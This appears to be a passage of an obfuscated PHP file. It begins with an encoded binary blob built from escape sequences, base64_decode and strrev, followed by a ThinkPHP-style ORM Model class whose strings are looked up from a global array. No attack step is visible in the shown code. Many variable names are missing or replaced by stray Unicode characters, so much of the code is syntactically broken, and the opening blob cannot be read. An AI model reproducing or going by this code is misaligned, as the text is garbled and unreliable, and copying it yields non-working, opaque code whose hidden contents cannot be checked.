3\51\136\110\57\24\251\222\114\336\122\331\365\46\311\72\30\100\56\125\226\55\77\175\340\316\211\355\275\335\53\145\136\245\144\31\323\262".base64_decode('pWQcXiktftzUcY2mcJ/udZtOBGEq27pEXDiIlEHSOR3idrPudxhIJAEz74xQgnQ=')."\322\344\76\350\343\156\245\313\10\127\111\217\112\321\44\27\163\372\205\176\361\65\257\210\360\47\100\242\251\16\75\64\244\72\354\270\314\233\313\375\356\261\164\54\230\41\270"."\x13\x2e\x3f\xf9\x11\x7\x52\xd2\xb6\xcf\xb2\x61\x51\x44\x50\x64\xf\x5c\x22\xfb\x82\xda\xa9\x43\x82\x4b\x11\xcc\x70\x36\xcb\xdf\xd8\x76\x25\xcd\x32\x71\x80\x43\x11\x44\x3c\xc7\x8d\xb9\x1c"."\351\346\250\260\57\326\206\275\117\250\6\344\333\246\256\204\345\120\161\263\124\312\57\316\6\104\67\61\254\122\367\311\222\161\147\227\157\256\162\244\22\40\352\111\237\33\314"."\110\202\7\66\254\27\226\64\264\53\134\212\26\125\272\357\311\362\144\174\316\120\32\162\215\301\357\202\172\104\51\254\223\140\33\270\47\312\226\237\17\167\237\366\311\142\275"."\x84\x2\x5a\x3e\x2a\x15\x27\x9f\x4\x8e\x9b\x21\x51\xb9\x12\x81\x95\xee\x21\x96\x2e\x18\x8b\x8\xb6\x59\x99\xae\xc1\x97\x88\x1d\xef\x18\xa4\x8c\xcb\x91\xae\xe6\x78\xa7\x96\x48\x1\x2\x7d".strrev('l'."\n".'1V޽TT*'."\r".'n<$dў O5颎.4@)').base64_decode('kLL2SOYESbNCHtqiitloFM4puEdX3nGGAOelUThvWTTLLOk3pHyOWrLH6V754IE=')."\xd0\x9f\xad\xd0\x61\x8f\x68\x4c\x93\x8e\x37\x9e\x15\x13\x97\x57\x7\x18\xe7\x4d\x4d\xb4\x4\x95\x5b\x21\x84\x7b\xcf\xb1\x6e\xa5\x56\x54\x4c\x3c\x6e\x2b\x44\x6a\xcf\x2e\x50\x89\xd6\xb2\x98"."\xa\xd4\x55\x9c\xef\x97\xd3\x71\x11\x57\xc1\xda\x80\x96\x89\xf7\x68\xd9\xe1\x50\x85\x68\xd9\x74\xa1\xb2\x71\x43\xbc\xe2\xd2\xb7\xdd\x56\x7\x1e\xb8\x3c\x30\xcc\x2\x9\xc9\x6a\xe2\x29\x78"."\xc9\x9a\x77\xa2\x8b\xa4\x97\x8c\x1\xc3\xe4\xdb\x44\x56\xd8\x89\x61\xbb\x53\xfe\x78\x3a\xaf\xae\xac\x34\x37\x6a\x1a\x25\xc9\xf3\x66\x45\xe3\x62\x1f\x96\xac\xcb\x65\xd8\x3c\x7b\x67\x4c\xb6".base64_decode('yqZSi+noGc3t3lN2NUTjWSV5SR/nUYUJOd91QF5BWURAwK4JlbPL0p3u/6Brp0c=').strrev('"L_@OɄJH8oi.8|r Ѥth')."\121\363\23\164\44\144\203\174\302\141\36\26\113\23\32\215\45\304\306\25\300\307\7\74\40\357\151\160\250\327\132\362\34\73\12\0\22\42\323\346\10\363\356\207\257\334\212"."\xf6\x88\x37\xd7\x55\x2f\x23\x27\x78\x10\xc0\x37\xd9\xce\x83\x5c\x6c\xb6\x83\x34\x26\x8\x1e\xe2\xfd\xa4\xc\x78\xc1\x29\xd0\x5f\xec\x75\x65\xa7\xef\xe0\x70\xdb\xc5\x6f\x2b\x1\x54\x95\xa2"."\x8\xea\x1e\x9a\x28\x94\xb0\xf\x75\xea\x1d\xb1\x2c\xaa\x2b\x94\x48\x2c\x8a\xc5\x5b\xa8\x37\xe9\xb2\x68\x92\x4b\xb2\x9b\x29\x8b\xea\x6a\x8f\x75\x8e\x17\x17\xee\x8\x45\xa2\x65\x71\xd8\xc4"."\xa6\x33\x25\xdc\x3f\xd1\xa8\x48\x17\x69\x65\x28\x1a\x8d\x2d\x1a\xaf\x15\x91\xe6\x5\xa2\x25\xe4\xa4\x54\x68\xc0\x8b\x7d\x26\x53\x6c\xb3\x13\x82\x84\x9a\x67\xb2\xb4\x74\xf9\x4e\x2b\x8\x3f"."\x60\x22\x8f\x5b\x45\x20\xcf\xab\xcd\x5c\xe4\xf1\xf\xf7\xd3\x2c\x1e\x4b\x36\x86\xb0\x50\x10\x36\x8f\xe9\x84\xb2\xe3\x45\x80\x62\xef\xda\x7c\x71\x73\x66\x59\x1c\xfd\x6\x5c\x47\xc4\x12\x9c"."\254\15\102\121\44\234\223\67\123\2\230\124\161\200\144\355\151\271\66\237\304\212\1\300\15\73\331\4\333\252\176\63\55\151\353\251\250\2\27\340\140\110\45\23\50\372\15"."\321\377\33\207\127\30\172\305\246\0\0".base64_decode('')."", 10, -8))); goto Bނɐ; a: define($_SERVER[Ǿ][247], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\142\x6c\x65", "\157\162\x64\145\x72", "\x61\154\151\141\x73", "\x68\x61\x76\x69\x6e\147", "\x67\x72\x6f\165\160", "\154\x6f\x63\x6b", "\x64\x69\163\x74\151\x6e\x63\x74", "\141\165\x74\157", "\x66\151\154\164\x65\x72", "\x76\x61\x6c\x69\144\141\x74\x65", "\x72\x65\163\165\x6c\x74", "\142\151\x6e\144", "\164\x6f\153\145\156"); public function __construct($ = '', $ = '', $ = '') { $Ѥ =& $_SERVER[Ǿ]; $this->_initialize(); if (!empty($)) { if (strpos($, $Ѥ[20])) { list($this->dbName, $this->name) = explode($Ѥ[20], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $Ѥ[22]; } elseif ($Ѥ[22] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($Ѥ[248]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $㛞 =& $_SERVER[Ǿ]; if (empty($this->fields)) { if (think_config($㛞[249])) { $ = $this->dbName ? $this->dbName : think_config($㛞[250]); $ۺ = think_var_cache($㛞[251] . strtolower(get_path_this($) . $㛞[20] . $this->name)); if ($ۺ) { $ً = think_config($㛞[252]); if (empty($ً) || $ۺ[$㛞[253]] == $ً) { $this->fields = $ۺ; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[Ǿ]; $this->db->setModel($this->name); $낣 = $this->db->getFields($this->getTableName()); if (!$낣) { return !1; } $this->fields = array_keys($낣); $this->fields[$[254]] = !1; foreach ($낣 as $ކ؀ => $) { $[$ކ؀] = $[$[43]]; if ($[$[49]]) { $this->fields[$[255]] = $ކ؀; if ($[$[52]]) { $this->fields[$[254]] = !0; } } } $this->fields[$[256]] = $; if (think_config($[252])) { $this->fields[$[253]] = think_config($[252]); } if (think_config($[249])) { $ऻ = $this->dbName ? $this->dbName : think_config($[250]); think_var_cache($[251] . strtolower(get_path_this($ऻ) . $[20] . $this->name), $this->fields); } } public function switchModel($, $Ō = array()) { $ =& $_SERVER[Ǿ]; $ = ucwords(strtolower($)) . $[257]; if (!class_exists($)) { think_exception($ . think_lang($[258])); } $this->_extModel = new $($this->name); if (!empty($Ō)) { foreach ($Ō as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($, $۩) { $this->data[$] = $۩; } public function __get($Ѿ) { return isset($this->data[$Ѿ]) ? $this->data[$Ѿ] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($ɹ, $ȩ) { $ =& $_SERVER[Ǿ]; if (in_array(strtolower($ɹ), $this->methods, !0)) { $this->options[strtolower($ɹ)] = $ȩ[0]; return $this; } elseif (in_array(strtolower($ɹ), array($[259], $[260], $[261], $[262], $[263]), !0)) { $ = isset($ȩ[0]) ? $ȩ[0] : $[191]; $ = $this->db->parseKey($); return $this->getField(strtoupper($ɹ) . $[264] . $ . $[265] . $ɹ, $[259]); } elseif (strtolower(substr($ɹ, 0, 5)) == $[266]) { $ = think_parse_name(substr($ɹ, 5)); $ȡ[$] = $ȩ[0]; return $this->where($ȡ)->find(); } elseif (strtolower(substr($ɹ, 0, 10)) == $[267]) { $ג = think_parse_name(substr($ɹ, 10)); $ȡ[$ג] = $ȩ[0]; return $this->where($ȡ)->getField($ȩ[1]); } elseif (isset($this->_scope[$ɹ])) { return $this->scope($ɹ, $ȩ[0]); } elseif (method_exists($this, $ɹ)) { array_unshift($ȩ, $ɹ); return call_user_func_array(array($this, $[268]), $ȩ); } else { return call_user_func_array(array(parent, $ɹ), $ȩ); } } protected function call() { $р =& $_SERVER[Ǿ]; $ݕ = func_get_args(); $ = array_shift($ݕ); $նĬ = $; if (is_array($)) { $նĬ = $[1]; $ = $[0]; } $ = count($ݕ) - 1; if (isset($ݕ[$]) && $ݕ[$] === $) { think_exception(__CLASS__ . $р[4] . $ . think_lang($р[269])); return; } $ݕ[] = $; if (method_exists($this, $р[270])) { $ = call_user_func_array(array($this, $р[271]), array($նĬ, $ݕ)); if (!is_null($) && $ !== !1) { return $; } } $ٙ = call_user_func_array(array($this, $), $ݕ); if (method_exists($this, $р[272])) { $ = call_user_func_array(array($this, $р[273]), array($նĬ, $ݕ, $ٙ)); if ($) { return $; } } return $ٙ; } protected function _initialize() { } protected function _facade($) { $Ѣ =& $_SERVER[Ǿ]; if (!empty($this->fields)) { foreach ($ as $Р => $ŷ) { if (is_array($this->fields) && !in_array($Р, $this->fields, !0)) { unset($[$Р]); } elseif (is_scalar($ŷ)) { $this->_parseType($, $Р); } } } if (!empty($this->options[$Ѣ[274]])) { $ = array_map($this->options[$Ѣ[274]], $); unset($this->options[$Ѣ[274]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$ɍ) { } public function add($ = '', $ں = array(), $ᰆ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[Ǿ][275]); return !1; } } $ں = $this->_parseOptions($ں); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $ں)) { return !1; } $ = $this->db->insert($, $ں, $ᰆ); if (!1 !== $) { $ = $this->getLastInsID(); if ($) { $[$this->getPk()] = $; $this->_after_insert($, $ں); return $; } $this->_after_insert($, $ں); } return $; } protected function _beforeInsert(&$, $Ώơ) { } protected function _after_insert($ѧҼ, $ԋ) { } public function addAll($, $ = array(), $Ғ = false) { $ =& $_SERVER[Ǿ]; if (empty($)) { $this->error = think_lang($[275]); return !1; } $ = $this->_parseOptions($); foreach ($ as $؟ => $) { $[$؟] = $this->_facade($); } if (method_exists($this->db, $[276])) { $ = $this->db->insertAll($, $, $Ғ); } else { $this->startTrans(); foreach ($ as $؟ => $) { $ = $this->db->insert($, $, $Ғ); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function selectAdd($ߏ = '', $Ў = '', $Ƣʻ = array()) { $Ɓ =& $_SERVER[Ǿ]; $Ƣʻ = $this->_parseOptions($Ƣʻ); if (!1 === ($ = $this->db->selectInsert($ߏ ? $ߏ : $Ƣʻ[$Ɓ[277]], $Ў ? $Ў : $this->getTableName(), $Ƣʻ))) { $this->error = think_lang($Ɓ[278]); return !1; } else { return $; } } public function save($ = '', $ = array()) { $ =& $_SERVER[Ǿ]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($[275]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $ͱ = $this->getPk(); if (!isset($[$[279]])) { if (isset($[$ͱ])) { $ˇ[$ͱ] = $[$ͱ]; $[$[279]] = $ˇ; unset($[$ͱ]); } else { $this->error = think_lang($[278]); return !1; } } if (is_array($[$[279]]) && isset($[$[279]][$ͱ])) { $ט = $[$[279]][$ͱ]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $܏ = $this->db->update($, $); if (!1 !== $܏) { if (isset($ט)) { $[$ͱ] = $ט; } $this->_afterUpdate($, $); } return $܏; } protected function _beforeUpdate(&$Ǚݞ, $) { } protected function _afterUpdate($ܤ, $) { } public function delete($з = array()) { $˅ =& $_SERVER[Ǿ]; if (empty($з) && empty($this->options[$˅[279]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($з) || is_string($з)) { if (strpos($з, $˅[60])) { $Ԡ[$] = array($˅[280], $з); } else { $Ԡ[$] = $з; } $this->options[$˅[279]] = $Ԡ; } $з = $this->_parseOptions(); if (is_array($з[$˅[279]]) && isset($з[$˅[279]][$])) { $ = $з[$˅[279]][$]; } $Ҁʒ = $this->db->delete($з); if (!1 !== $Ҁʒ) { $ = array(); if (isset($)) { $[$] = $; } $this->_after_delete($, $з); } return $Ҁʒ; } protected function _after_delete($ߋ, $) { } public function select($ˡ² = array()) { $Ɏ =& $_SERVER[Ǿ]; if (is_string($ˡ²) || is_numeric($ˡ²)) { $ = $this->getPk(); if (strpos($ˡ², $Ɏ[60])) { $[$] = array($Ɏ[280], $ˡ²); } else { $[$] = $ˡ²; } $this->options[$Ɏ[279]] = $; } elseif (!1 === $ˡ²) { $ˡ² = $this->_parseOptions(); return $Ɏ[281] . $this->db->buildSelectSql($ˡ²) . $Ɏ[282]; } $ˡ² = $this->_parseOptions(); $ܕ = $this->db->select($ˡ²); if (!1 === $ܕ) { return !1; } if (empty($ܕ)) { return null; } $this->_afterSelect($ܕ, $ˡ²); return $ܕ; } protected function _afterSelect(&$Ě, $֒) { } public function buildSql($Ѷ = array()) { $ =& $_SERVER[Ǿ]; $Ѷ = $this->_parseOptions($Ѷ); return $[281] . $this->db->buildSelectSql($Ѷ) . $[282]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($ = array()) { $Ƨ =& $_SERVER[Ǿ]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$Ƨ[283]])) { $[$Ƨ[283]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($[$Ƨ[284]])) { $[$Ƨ[283]] .= $Ƨ[63] . $[$Ƨ[284]]; } $[$Ƨ[285]] = $this->name; if (isset($[$Ƨ[279]]) && is_array($[$Ƨ[279]]) && !empty($) && !isset($[$Ƨ[286]]) && !isset($[$Ƨ[283]])) { foreach ($[$Ƨ[279]] as $ => $ꁧ) { $ = trim($); if (in_array($, $, !0)) { if (is_scalar($ꁧ)) { $this->_parseType($[$Ƨ[279]], $); } } elseif (!is_numeric($) && $Ƨ[21] != substr($, 0, 1) && !1 === strpos($, $Ƨ[20]) && !1 === strpos($, $Ƨ[264]) && !1 === strpos($, $Ƨ[287]) && !1 === strpos($, $Ƨ[288])) { unset($[$Ƨ[279]][$]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$ːٷ) { } protected function _parseType(&$˾, $я) { $ =& $_SERVER[Ǿ]; if (empty($this->options[$[289]][$[4] . $я])) { $ = strtolower($this->fields[$[256]][$я]); if (!1 !== strpos($, $[290])) { } elseif (!1 === strpos($, $[291]) && !1 !== strpos($, $[292])) { $˾[$я] = intval($˾[$я]); } elseif (!1 !== strpos($, $[293]) || !1 !== strpos($, $[294])) { $˾[$я] = floatval($˾[$я]); } elseif (!1 !== strpos($, $[295])) { $˾[$я] = (bool) $˾[$я]; } } } public function find($˽ = array()) { $Ռꅁ =& $_SERVER[Ǿ]; if (is_numeric($˽) || is_string($˽)) { $[$this->getPk()] = intval($˽); $this->options[$Ռꅁ[279]] = $; } $this->options[$Ռꅁ[296]] = 1; $˽ = $this->_parseOptions(); $ճ = $this->db->select($˽); if (!1 === $ճ) { return !1; } if (empty($ճ)) { return null; } $this->data = $ճ[0]; $this->_afterFind($this->data, $˽); if (!empty($this->options[$Ռꅁ[297]])) { return $this->returnResult($this->data, $this->options[$Ռꅁ[297]]); } return $this->data; } protected function _afterFind(&$ڔ, $Ԛ) { } protected function returnResult($܁ǃ, $ = '') { $ =& $_SERVER[Ǿ]; if ($) { if (is_callable($)) { return call_user_func($, $܁ǃ); } switch (strtolower($)) { case $[298]: return json_encode($܁ǃ); case $[299]: return xml_encode($܁ǃ); } } return $܁ǃ; } public function parseFieldsMap($, $ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ߍ => $̼) { if ($ == 1) { if (isset($[$̼])) { $[$ߍ] = $[$̼]; unset($[$̼]); } } else { if (isset($[$ߍ])) { $[$̼] = $[$ߍ]; unset($[$ߍ]); } } } } return $; } public function setField($͎, $ = '') { if (is_array($͎)) { $ = $͎; } else { $[$͎] = $; } return $this->save($); } public function setAdd($ܮ, $ǟ = 1) { $ =& $_SERVER[Ǿ]; $ = $ܮ . $[300] . $ǟ; if ($ǟ < 0) { $ = $ܮ . $ǟ; } return $this->setField($ܮ, array($[301], $)); } public function getField($, $ = null) { $Ȣ =& $_SERVER[Ǿ]; $،[$Ȣ[277]] = $; $، = $this->_parseOptions($،); $ = trim($); if (strpos($, $Ȣ[60])) { if (!isset($،[$Ȣ[296]])) { $،[$Ȣ[296]] = is_numeric($) ? $ : $Ȣ[22]; } $Ț = $this->db->select($،); if (!empty($Ț)) { $Է = explode($Ȣ[60], $); $ = array_keys($Ț[0]); $ = array_shift($); $☔ = array_shift($); $걗 = array(); $ = count($Է); foreach ($Ț as $ˁ) { $ = $ˁ[$]; if (2 == $) { $걗[$] = $ˁ[$☔]; } else { $걗[$] = is_string($) ? implode($, $ˁ) : $ˁ; } } return $걗; } } else { if (!0 !== $) { $،[$Ȣ[296]] = is_numeric($) ? $ : 1; } if ($ === $Ȣ[259]) { unset($،[$Ȣ[296]]); } $ˁ = $this->db->select($،); if (!empty($ˁ)) { if ($ === $Ȣ[259]) { return reset($ˁ[0]); } if (!0 !== $ && 1 == $،[$Ȣ[296]]) { return reset($ˁ[0]); } foreach ($ˁ as $ړ) { $[] = $ړ[$]; } return $; } } return null; } public function create($ = '', $ = '') { $Լ =& $_SERVER[Ǿ]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($Լ[275]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$Լ[277]])) { $ԉ = $this->options[$Լ[277]]; unset($this->options[$Լ[277]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ԉ = $this->insertFields; } elseif ($ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ԉ = $this->updateFields; } if (isset($ԉ)) { if (is_string($ԉ)) { $ԉ = explode($Լ[60], $ԉ); } if (think_config($Լ[302])) { $ԉ[] = think_config($Լ[303]); } foreach ($ as $Ԍ => $􊜿) { if (!in_array($Ԍ, $ԉ)) { unset($[$Ԍ]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($Լ[304]); return !1; } if ($this->autoCheckFields) { $ԉ = $this->getDbFields(); foreach ($ as $Ԍ => $􊜿) { if (!in_array($Ԍ, $ԉ)) { unset($[$Ԍ]); } elseif (MAGIC_QUOTES_GPC && is_string($􊜿)) { $[$Ԍ] = stripslashes($􊜿); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToken($韦) { $ =& $_SERVER[Ǿ]; if (isset($this->options[$[305]]) && !$this->options[$[305]]) { return !0; } if (think_config($[302])) { $ = think_config($[303]); if (!isset($韦[$]) || Session::get($)) { return !1; } list($Ǔ, $˖) = explode($[21], $韦[$]); if ($˖ && Session::get($ . $[20] . $Ǔ) === $˖) { Session::remove($ . $[20] . $Ǔ); return !0; } if (think_config($[306])) { Session::remove($ . $[20] . $Ǔ); } return !1; } return !0; } public function regex($ٛ, $Æ) { $ѷ =& $_SERVER[Ǿ]; $Лğ = array($ѷ[307] => $ѷ[308], $ѷ[309] => $ѷ[310], $ѷ[311] => $ѷ[312], $ѷ[313] => $ѷ[314], $ѷ[315] => $ѷ[316], $ѷ[317] => $ѷ[318], $ѷ[319] => $ѷ[320], $ѷ[294] => $ѷ[321], $ѷ[322] => $ѷ[323]); if (isset($Лğ[strtolower($Æ)])) { $Æ = $Лğ[strtolower($Æ)]; } return preg_match($Æ, $ٛ) === 1; } private function autoOperation(&$эϘ, $) { $ݿ =& $_SERVER[Ǿ]; if (!empty($this->options[$ݿ[324]])) { $ = $this->options[$ݿ[324]]; unset($this->options[$ݿ[324]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $΁) { if (empty($΁[2])) { $΁[2] = THINK_MODEL_INSERT; } if ($ == $΁[2] || $΁[2] == THINK_MODEL_BOTH) { switch (trim($΁[3])) { case $ݿ[325]: case $ݿ[326]: $ = isset($΁[4]) ? (array) $΁[4] : array(); if (isset($эϘ[$΁[0]])) { array_unshift($, $эϘ[$΁[0]]); } if ($ݿ[325] == $΁[3]) { $эϘ[$΁[0]] = call_user_func_array($΁[1], $); } else { $эϘ[$΁[0]] = call_user_func_array(array(&$this, $΁[1]), $); } break; case $ݿ[277]: $эϘ[$΁[0]] = $эϘ[$΁[1]]; break; case $ݿ[327]: if ($ݿ[22] === $эϘ[$΁[0]]) { unset($эϘ[$΁[0]]); } break; case $ݿ[328]: default: $эϘ[$΁[0]] = $΁[1]; } if (!1 === $эϘ[$΁[0]]) { unset($эϘ[$΁[0]]); } } } } return $эϘ; } protected function autoValidation($, $ٛϩ) { $Ї =& $_SERVER[Ǿ]; if (!empty($this->options[$Ї[329]])) { $ = $this->options[$Ї[329]]; unset($this->options[$Ї[329]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ => $䰙) { if (empty($䰙[5]) || $䰙[5] == THINK_MODEL_BOTH || $䰙[5] == $ٛϩ) { if (0 == strpos($䰙[2], $Ї[330]) && strpos($䰙[2], $Ї[331])) { $䰙[2] = think_lang(substr($䰙[2], 2, -1)); } $䰙[3] = isset($䰙[3]) ? $䰙[3] : THINK_EXISTS_VALIDATE; $䰙[4] = isset($䰙[4]) ? $䰙[4] : $Ї[332]; switch ($䰙[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $䰙)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($Ї[22] != trim($[$䰙[0]])) { if (!1 === $this->_validationField($, $䰙)) { return !1; } } break; default: if (isset($[$䰙[0]])) { if (!1 === $this->_validationField($, $䰙)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($Ŭޥ, $) { if (!1 === $this->_validationFieldItem($Ŭޥ, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($圬, $ӷ) { $ =& $_SERVER[Ǿ]; switch (strtolower(trim($ӷ[4]))) { case $[325]: case $[326]: $ = isset($ӷ[6]) ? (array) $ӷ[6] : array(); if (is_string($ӷ[0]) && strpos($ӷ[0], $[60])) { $ӷ[0] = explode($[60], $ӷ[0]); } if (is_array($ӷ[0])) { foreach ($ӷ[0] as $ު) { $ҷ[$ު] = $圬[$ު]; } array_unshift($, $ҷ); } else { array_unshift($, $圬[$ӷ[0]]); } if ($[325] == $ӷ[4]) { return call_user_func_array($ӷ[1], $); } else { return call_user_func_array(array(&$this, $ӷ[1]), $); } case $[333]: return $圬[$ӷ[0]] == $圬[$ӷ[1]]; case $[334]: if (is_string($ӷ[0]) && strpos($ӷ[0], $[60])) { $ӷ[0] = explode($[60], $ӷ[0]); } $ҩ = array(); if (is_array($ӷ[0])) { foreach ($ӷ[0] as $ު) { $ҩ[$ު] = $圬[$ު]; } } else { $ҩ[$ӷ[0]] = $圬[$ӷ[0]]; } if (!empty($圬[$this->getPk()])) { $ҩ[$this->getPk()] = array($[335], $圬[$this->getPk()]); } if ($this->where($ҩ)->find()) { return !1; } return !0; default: return $this->check($圬[$ӷ[0]], $ӷ[1], $ӷ[4]); } } public function check($, $, $ؒ = "\162\145\147\x65\170") { $× =& $_SERVER[Ǿ]; $ؒ = strtolower(trim($ؒ)); switch ($ؒ) { case $×[17]: case $×[336]: $ = is_array($) ? $ : explode($×[60], $); return $ؒ == $×[17] ? in_array($, $) : !in_array($, $); case $×[337]: case $×[338]: if (is_array($)) { $ = $[0]; $ә = $[1]; } else { list($, $ә) = explode($×[60], $); } return $ؒ == $×[337] ? $ >= $ && $ <= $ә : $ < $ || $ > $ә; case $×[339]: case $×[340]: return $ؒ == $×[339] ? $ == $ : $ != $; case $×[341]: $ϊ = mb_strlen($, $×[342]); if (strpos($, $×[60])) { list($, $ә) = explode($×[60], $); return $ϊ >= $ && $ϊ <= $ә; } else { return $ϊ == $; } case $×[343]: list($, $) = explode($×[60], $); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $ && NOW_TIME <= $; case $×[344]: return in_array(get_client_ip(), explode($×[60], $)); case $×[345]: return !in_array(get_client_ip(), explode($×[60], $)); case $×[332]: default: return $this->regex($, $); } } public function query($Ή, $ = false) { $ =& $_SERVER[Ǿ]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $Ή = str_replace(array($[11], $[346]), $[63], $Ή); $Ή = $this->parseSql($Ή, $); return $this->db->query($Ή); } public function execute($, $٘ = false) { if (!is_bool($٘) && !is_array($٘)) { $٘ = func_get_args(); array_shift($٘); } $ = $this->parseSql($, $٘); return $this->db->execute($); } protected function parseSql($ꄾ, $۸) { $ =& $_SERVER[Ǿ]; if (!0 === $۸) { $БҾ = $this->_parseOptions(); $ꄾ = $this->db->parseSql($ꄾ, $БҾ); } elseif (is_array($۸)) { $۸ = array_map(array($this->db, $[347]), $۸); $ꄾ = vsprintf($ꄾ, $۸); } else { $ꄾ = strtr($ꄾ, array($[348] => $this->getTableName(), $[349] => think_config($[248]))); } $this->db->setModel($this->name); return $ꄾ; } public function db($؄ = '', $ɤ = '', $֬ = array()) { $è =& $_SERVER[Ǿ]; if ($è[22] === $؄ && $this->db) { return $this->db; } static $Ǖ = array(); static $  = array(); if (!isset($ [$؄]) || isset($ [$؄]) && $ɤ && $Ǖ[$؄] != $ɤ) { if (!empty($ɤ) && is_string($ɤ) && !1 === strpos($ɤ, $è[18])) { $ɤ = think_config($ɤ); } $؄ = think_guid($ɤ); $ [$؄] = Db::getInstance($ɤ); } elseif (NULL === $ɤ) { $ [$؄]->close(); unset($ [$؄]); return; } if (!empty($֬)) { if (is_string($֬)) { parse_str($֬, $֬); } foreach ($֬ as $ݟ => $ņ) { $this->setProperty($ݟ, $ņ); } } $Ǖ[$؄] = $ɤ; $this->db = $ [$؄]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[Ǿ][350]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $酎 =& $_SERVER[Ǿ]; if (empty($this->trueTableName)) { $ʺ = !empty($this->tablePrefix) ? $this->tablePrefix : $酎[22]; if (!empty($this->tableName)) { $ʺ .= $this->tableName; } else { $ʺ .= think_parse_name($this->name); } $this->trueTableName = strtolower($ʺ); } return (!empty($this->dbName) ? $this->dbName . $酎[20] : $酎[22]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $Ϋ =& $_SERVER[Ǿ]; return isset($this->fields[$Ϋ[255]]) ? $this->fields[$Ϋ[255]] : $this->pk; } public function getDbFields() { $돍ث =& $_SERVER[Ǿ]; if (isset($this->options[$돍ث[283]])) { $ˌ = $this->db->getFields($this->options[$돍ث[283]]); return $ˌ ? array_keys($ˌ) : !1; } if ($this->fields) { $ˌ = $this->fields; unset($ˌ[$돍ث[254]], $ˌ[$돍ث[255]], $ˌ[$돍ث[256]], $ˌ[$돍ث[253]]); return $ˌ; } return !1; } public function data($дˋ = '') { $χ =& $_SERVER[Ǿ]; if ($χ[22] === $дˋ && !empty($this->data)) { return $this->data; } if (is_object($дˋ)) { $дˋ = get_object_vars($дˋ); } elseif (is_string($дˋ)) { parse_str($дˋ, $дˋ); } elseif (!is_array($дˋ)) { think_exception(think_lang($χ[275])); } $this->data = $дˋ; return $this; } public function join($Ю) { $ =& $_SERVER[Ǿ]; if (is_array($Ю)) { $this->options[$[286]] = $Ю; } elseif (!empty($Ю)) { $this->options[$[286]][] = $Ю; } return $this; } public function union($Ŷ, $ = false) { $̼ʟ =& $_SERVER[Ǿ]; if (empty($Ŷ)) { return $this; } if ($) { $this->options[$̼ʟ[351]][$̼ʟ[352]] = !0; } if (is_object($Ŷ)) { $Ŷ = get_object_vars($Ŷ); } if (is_string($Ŷ)) { $ = $Ŷ; } elseif (is_array($Ŷ)) { if (isset($Ŷ[0])) { $this->options[$̼ʟ[351]] = array_merge($this->options[$̼ʟ[351]], $Ŷ); return $this; } else { $ = $Ŷ; } } else { think_exception(think_lang($̼ʟ[275])); } $this->options[$̼ʟ[351]][] = $; return $this; } public 